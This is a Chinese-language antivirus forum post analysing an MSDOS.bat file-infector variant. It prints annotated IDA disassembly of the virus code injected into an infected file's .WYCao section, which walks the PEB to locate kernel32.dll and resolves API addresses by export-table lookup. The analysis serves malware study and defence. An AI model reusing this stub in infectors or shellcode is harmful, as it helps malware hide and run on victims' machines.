upside
反病毒 反诈骗 反虐犬
|
分享:
x0
|
[资讯教学] 感染型病毒不完全分析实例(MSDOS.bat新变种)
感染型病毒不完全分析实例(MSDOS.bat新变种) 性质:感染型病毒,MSDOS.bat变种,但是其中的病毒主体加了一个壳。 工具:IDA Pro.,OllyDbg(看雪版OllyICE),LordPE,ImportREC 分析内容:被感染文件中病毒代码分析、病毒主体文件所加壳的脱壳过程。
一、被感染文件中病毒代码分析 被感染文件最后的一个区段被改名为.WYCao段,在后面加入病毒代码内容,改入口点指向此段中。以下为IDA中的反汇编结果,我已经尽量注释清楚。
(1)从PEB得到kernel32.dll基址,遍历其输出表,得到GetProcAddress和LoadLibraryA两个API函数的地址。
.WYCao:01010F10 mov eax, large fs:30h ; PEB .WYCao:01010F16 nop .WYCao:01010F17 nop .WYCao:01010F18 nop .WYCao:01010F19 nop .WYCao:01010F1A mov eax, [eax+0Ch] ; PEB.Ldr(PTR _PEB_LDR_DATA) .WYCao:01010F1D mov esi, [eax+1Ch] ; Ldr->InInitializationOrderModuleList.Flink .WYCao:01010F1D ; 一个双向链表,链表该位置的Flink恰指向kernel32.dll的相应结构中 .WYCao:01010F20 lodsd .WYCao:01010F21 mov edi, [eax+8] ; kernel32.dll的_PEB_LDR_DATA结构中的EntryInProgress,模块基址 .WYCao:01010F24 mov eax, [edi+IMAGE_DOS_HEADER.e_lfanew] ; PE头偏移 .WYCao:01010F27 mov edx, [edi+eax+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory.VirtualAddress] ; 输出表偏移 .WYCao:01010F2B add edx, edi .WYCao:01010F2D mov ecx, [edx+_IMAGE_EXPORT_DIRECTORY.NumberOfNames] ; 以函数名调用的函数个数 .WYCao:01010F30 mov ebx, [edx+_IMAGE_EXPORT_DIRECTORY.AddressOfNames] ; 保存所有函数名的数组偏移 .WYCao:01010F33 add ebx, edi .WYCao:01010F35 .WYCao:01010F35 findbegin: ; CODE XREF: start+41 j .WYCao:01010F35 ; start+49 j ... .WYCao:01010F35 dec ecx .WYCao:01010F36 jz short findend .WYCao:01010F38 mov esi, [ebx+ecx*4] .WYCao:01010F3B add esi, edi .WYCao:01010F3D cmp dword ptr [esi+4], 41636F72h ; 'rocA' .WYCao:01010F44 jnz short findnext .WYCao:01010F46 .WYCao:01010F46 GetAddressByNumber: ; CODE XREF: start+52 j .WYCao:01010F46 mov eax, [edx+_IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] ; 保存所有函数地址偏移的数组 .WYCao:01010F49 add eax, edi .WYCao:01010F4B mov eax, [eax+ecx*4] ; 从AddressOfFunctions数组中根据当前序号值,得到API函数地址偏移 .WYCao:01010F4E add eax, edi .WYCao:01010F50 push eax .WYCao:01010F51 jmp short findbegin .WYCao:01010F53 ; --------------------------------------------------------------------------- .WYCao:01010F53 .WYCao:01010F53 findnext: ; CODE XREF: start+34 j .WYCao:01010F53 cmp dword ptr [esi], 64616F4Ch ; 'Load' .WYCao:01010F59 jnz short findbegin .WYCao:01010F5B cmp dword ptr [esi+8], 41797261h ; 'aryA' .WYCao:01010F62 jz short GetAddressByNumber .WYCao:01010F64 jmp short findbegin .WYCao:01010F66 ; --------------------------------------------------------------------------- .WYCao:01010F66 .WYCao:01010F66 findend: ; CODE XREF: start+26 j .WYCao:01010F66 pop ebx ; 遍历kernel32.dll输出表结束。此次堆栈 .WYCao:01010F66 ; [esp]==kernel32.dll!GetProcAddress .WYCao:01010F66 ; [esp+4]==kernel32.dll!LoadLibraryA .WYCao:01010F66 ; .WYCao:01010F66 ; 因此,pop的结果:ebx=GetProcAddress .WYCao:01010F67 pop edx ; edx=LoadLibraryA .WYCao:01010F68 sub esp, 48h .WYCao:01010F6B mov ebp, esp .WYCao:01010F6D mov [ebp+4], ebx ; GetProcAddress .WYCao:01010F70 mov [ebp+8], edx ; LoadLibraryA (2)调用LoadLibraryA和GetProcAddress函数,得到所需的API函数的地址:
.WYCao:01010F73 push 0 ; 结束符 .WYCao:01010F75 push 6C6C642Eh ; .dll .WYCao:01010F7A push 32336C65h ; 'el32' .WYCao:01010F7F push 6E72656Bh ; 'kern' .WYCao:01010F84 mov ecx, esp .WYCao:01010F86 push ecx .WYCao:01010F87 call dword ptr [ebp+8] ; LoadLibraryA('kernel32.dll') .WYCao:01010F8A pop ecx ; 前面4个push,这里4个pop,保持堆栈平衡 .WYCao:01010F8B pop ecx .WYCao:01010F8C pop ecx .WYCao:01010F8D pop ecx .WYCao:01010F8E mov [ebp+0Ch], eax ; kernel32.dll基址(句柄) .WYCao:01010F91 push 0 .WYCao:01010F93 push 4179726Fh ; 'oryA' .WYCao:01010F98 push 74636572h ; 'rect' .WYCao:01010F9D push 69447377h ; 'wsDi' .WYCao:01010FA2 push 6F646E69h ; 'indo' .WYCao:01010FA7 push 57746547h ; 'GetW' .WYCao:01010FAC mov ecx, esp .WYCao:01010FAE push ecx .WYCao:01010FAF push dword ptr [ebp+0Ch] ; kernel32.dll基址 .WYCao:01010FB2 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GetWindowsDirectoryA') WYCao:01010FB5 pop ecx .WYCao:01010FB6 pop ecx .WYCao:01010FB7 pop ecx .WYCao:01010FB8 pop ecx .WYCao:01010FB9 pop ecx .WYCao:01010FBA pop ecx .WYCao:01010FBB mov [ebp+10h], eax ; kernel32.dll!GetWindowsDirectoryA .WYCao:01010FBE push 41656Ch .WYCao:01010FC3 push 69466574h .WYCao:01010FC8 push 61657243h .WYCao:01010FCD mov ecx, esp .WYCao:01010FCF push ecx .WYCao:01010FD0 push dword ptr [ebp+0Ch] .WYCao:01010FD3 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CreateFileA') .WYCao:01010FD6 pop ecx .WYCao:01010FD7 pop ecx .WYCao:01010FD8 pop ecx .WYCao:01010FD9 mov [ebp+14h], eax ; kernel32.dll!CreateFileA .WYCao:01010FDC push 656C64h .WYCao:01010FE1 push 6E614865h .WYCao:01010FE6 push 736F6C43h .WYCao:01010FEB mov ecx, esp .WYCao:01010FED push ecx .WYCao:01010FEE push dword ptr [ebp+0Ch] .WYCao:01010FF1 call dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CloseHandle') .WYCao:01010FF4 pop ecx .WYCao:01010FF5 pop ecx .WYCao:01010FF6 pop ecx .WYCao:01010FF7 mov [ebp+18h], eax ; kernel32.dll!CloseHandle
[ 此文章被upside在2008-09-04 02:10重新编辑 ]
|